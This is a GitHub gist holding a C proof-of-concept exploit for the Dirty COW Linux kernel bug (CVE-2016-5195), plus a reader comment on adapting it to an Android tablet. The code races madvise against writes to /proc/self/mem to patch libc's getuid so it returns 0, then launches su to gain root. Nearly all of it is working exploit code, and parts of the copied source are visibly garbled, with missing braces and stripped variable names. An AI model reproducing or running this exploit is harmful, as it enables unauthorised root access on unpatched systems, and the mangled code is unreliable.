Skip to content

Instantly share code, notes, and snippets.

Created October 21, 2016 15:09
Show Gist options
  • Save scumjr/17d91f20f73157c722ba2aea702985d2 to your computer and use it in GitHub Desktop.
Save scumjr/17d91f20f73157c722ba2aea702985d2 to your computer and use it in GitHub Desktop.
* CVE-2016-5195 dirtypoc
* This PoC is memory only and doesn't write anything on the filesystem.
* /!\ Beware, it triggers a kernel crash a few minutes.
* gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
#define _GNU_SOURCE
#include <err.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <pthread.h>
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/types.h>
#define SHELLCODE "\x31\xc0\xc3"
#define SPACE_SIZE 256
#define LIBC_PATH "/lib/x86_64-linux-gnu/"
#define LOOP 0x1000000
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
struct mem_arg {
struct stat st;
off_t offset;
unsigned long patch_addr;
unsigned char *patch;
unsigned char *unpatch;
size_t patch_size;
bool do_patch;
void *map;
static int check(bool do_patch, const char *thread_name)
uid_t uid;
uid = getuid();
if (do_patch) {
if (uid == 0) {
printf("[*] patched (%s)\n", thread_name);
return 1;
} else {
if (uid != 0) {
printf("[*] unpatched: uid=%d (%s)\n", uid, thread_name);
return 1;
return 0;
static void *madviseThread(void *arg)
struct mem_arg *mem_arg;
size_t size;
void *addr;
int i, c = 0;
mem_arg = (struct mem_arg *)arg;
addr = (void *)(mem_arg->offset & (~(PAGE_SIZE - 1)));
size = mem_arg->offset - (unsigned long)addr;
for(i = 0; i < LOOP; i++) {
c += madvise(addr, size, MADV_DONTNEED);
if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
if (c == 0x1337)
printf("[*] madvise = %d\n", c);
return NULL;
static void *procselfmemThread(void *arg)
struct mem_arg *mem_arg;
int fd, i, c = 0;
unsigned char *p;
mem_arg = (struct mem_arg *)arg;
p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch;
fd = open("/proc/self/mem", O_RDWR);
if (fd == -1)
err(1, "open(\"/proc/self/mem\"");
for (i = 0; i < LOOP; i++) {
lseek(fd, mem_arg->offset, SEEK_SET);
c += write(fd, p, mem_arg->patch_size);
if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
if (c == 0x1337)
printf("[*] /proc/self/mem %d\n", c);
return NULL;
static int get_range(unsigned long *start, unsigned long *end)
char line[4096];
char filename[PATH_MAX];
char flags[32];
FILE *fp;
int ret;
ret = -1;
fp = fopen("/proc/self/maps", "r");
if (fp == NULL)
err(1, "fopen(\"/proc/self/maps\")");
while (fgets(line, sizeof(line), fp) != NULL) {
sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename);
if (strstr(flags, "r-xp") == NULL)
if (strstr(filename, "/libc-") == NULL)
//printf("[%lx-%6lx][%s][%s]\n", start, end, flags, filename);
ret = 0;
return ret;
static void getroot(void)
execlp("su", "su", NULL);
err(1, "failed to execute \"su\"");
static void exploit(struct mem_arg *mem_arg, bool do_patch)
pthread_t pth1, pth2;
printf("[*] exploiting (%s)\n", do_patch ? "patch": "unpatch");
mem_arg->do_patch = do_patch;
pthread_create(&pth1, NULL, madviseThread, mem_arg);
pthread_create(&pth2, NULL, procselfmemThread, mem_arg);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
static unsigned long get_getuid_addr(void)
unsigned long addr;
void *handle;
char *error;
handle = dlopen("", RTLD_LAZY);
if (handle == NULL) {
fprintf(stderr, "%s\n", dlerror());
addr = (unsigned long)dlsym(handle, "getuid");
error = dlerror();
if (error != NULL) {
fprintf(stderr, "%s\n", error);
return addr;
int main(int argc, char *argv[])
unsigned long start, end;
unsigned long getuid_addr;
struct mem_arg mem_arg;
struct stat st;
pid_t pid;
int fd;
if (get_range(&start, &end) != 0)
errx(1, "failed to get range");
printf("[*] range: %lx-%lx]\n", start, end);
getuid_addr = get_getuid_addr();
printf("[*] getuid = %lx\n", getuid_addr);
mem_arg.patch = malloc(sizeof(SHELLCODE)-1);
if (mem_arg.patch == NULL)
err(1, "malloc");
mem_arg.unpatch = malloc(sizeof(SHELLCODE)-1);
if (mem_arg.unpatch == NULL)
err(1, "malloc");
memcpy(mem_arg.unpatch, (void *)getuid_addr, sizeof(SHELLCODE)-1);
memcpy(mem_arg.patch, SHELLCODE, sizeof(SHELLCODE)-1);
mem_arg.patch_size = sizeof(SHELLCODE)-1;
mem_arg.do_patch = true;
fd = open(LIBC_PATH, O_RDONLY);
if (fd == -1)
err(1, "open(\"" LIBC_PATH "\")");
if (fstat(fd, &st) == -1)
err(1, "fstat"); = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if ( == MAP_FAILED)
err(1, "mmap");
printf("[*] mmap %p\n",; = st;
mem_arg.offset = (off_t)((unsigned long) + getuid_addr - start);
exploit(&mem_arg, true);
pid = fork();
if (pid == -1)
err(1, "fork");
if (pid == 0) {
} else {
exploit(&mem_arg, false);
if (waitpid(pid, NULL, 0) == -1)
return 0;
Copy link

markostamcar commented Nov 4, 2020

FYI for beginners like me: I played around with this code on Samsung P5210 (x86 CPU):

  • it works fine after changing the path to /system/lib/ and removing - in line 144
  • this code is heavily tailored for changing the getuid() return value and calling the su binary which must already be properly setup on the device
  • on my device all dirtycow exploits I tired actually modify the read-only (!) filesystem most of the time (including this PoC!) and messing with might brick it (until system.img is restored from backup) - reboot won't help.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment